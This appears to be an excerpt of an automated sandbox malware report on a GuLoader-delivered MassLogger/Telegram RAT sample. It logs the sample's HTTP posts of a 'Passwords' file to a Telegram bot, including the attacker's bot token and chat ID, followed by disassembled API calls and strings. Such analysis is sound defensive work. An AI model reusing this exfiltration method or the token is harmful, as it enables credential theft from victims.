2025-01-10 18:57:29 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44636,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535449,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	50044	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:31 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd347dd0bc2292 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 18:57:31 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 37 64 64 30 62 63 32 32 39 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd347dd0bc2292Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:31 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:31 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 35 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44637,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535451,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	50046	149.154.167.220	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:33 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd349e790014a9 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:33 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 34 39 65 37 39 30 30 31 34 61 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd349e790014a9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:33 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:33 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 35 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44638,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535453,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.9	50048	149.154.167.220	443

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:57:39 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd317ebe20a167 Host: api.telegram.org Content-Length: 1090
2025-01-10 18:57:39 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 37 65 62 65 32 30 61 31 36 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd317ebe20a167Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 18:57:39 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 18:57:39 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 18:57:39 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 36 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 35 34 35 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44639,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736535459,"document":{"file_name":"U

Target ID:	0
Start time:	13:55:28
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\m0CZ8H4jfl.exe"
Imagebase:	0x400000
File size:	432'979 bytes
MD5 hash:	AD29D6168ABBEC988896C57D4D25E2ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1793597999.0000000004978000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:56:10
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\m0CZ8H4jfl.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\m0CZ8H4jfl.exe"
Imagebase:	0x400000
File size:	432'979 bytes
MD5 hash:	AD29D6168ABBEC988896C57D4D25E2ED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.2660261583.000000003481B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.2635144470.0000000003638000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	21.2%
Dynamic/Decrypted Code Coverage:	13.7%
Signature Coverage:	25.2%
Total number of Nodes:	1507
Total number of Limit Nodes:	46

Executed Functions

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,?,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",00000000), ref: 00403363
CharNextW.USER32(00000000,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 004034D6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 004034F6
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 00403517
DeleteFileW.KERNELBASE(1033), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,?,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",00000000,?), ref: 0040362B
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",00000000,?), ref: 0040363A
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\m0CZ8H4jfl.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\m0CZ8H4jfl.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

SETUPAPI, xrefs: 004032FB
\Temp, xrefs: 004034DC
SeShutdownPrivilege, xrefs: 0040374D
.tmp, xrefs: 0040363F
USERENV, xrefs: 004032F1
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004035D3
UXTHEME, xrefs: 004032E7
"C:\Users\user\Desktop\m0CZ8H4jfl.exe", xrefs: 00403356, 0040335C, 00403553
~nsu, xrefs: 00403623
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
NSIS Error, xrefs: 00403341
TEMP, xrefs: 0040350A
C:\Users\user\Desktop\m0CZ8H4jfl.exe, xrefs: 004036D6
1033, xrefs: 00403526
TMP, xrefs: 00403512
Low, xrefs: 004034F8
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
Error launching installer, xrefs: 004035AD
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\m0CZ8H4jfl.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\m0CZ8H4jfl.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-1225049044
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,?), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,?,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
, xrefs: 004050E9
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.1792847303.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1792833148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792861424.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792878497.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1792968738.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m0CZ8H4jfl.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,?), ref: 004061B8
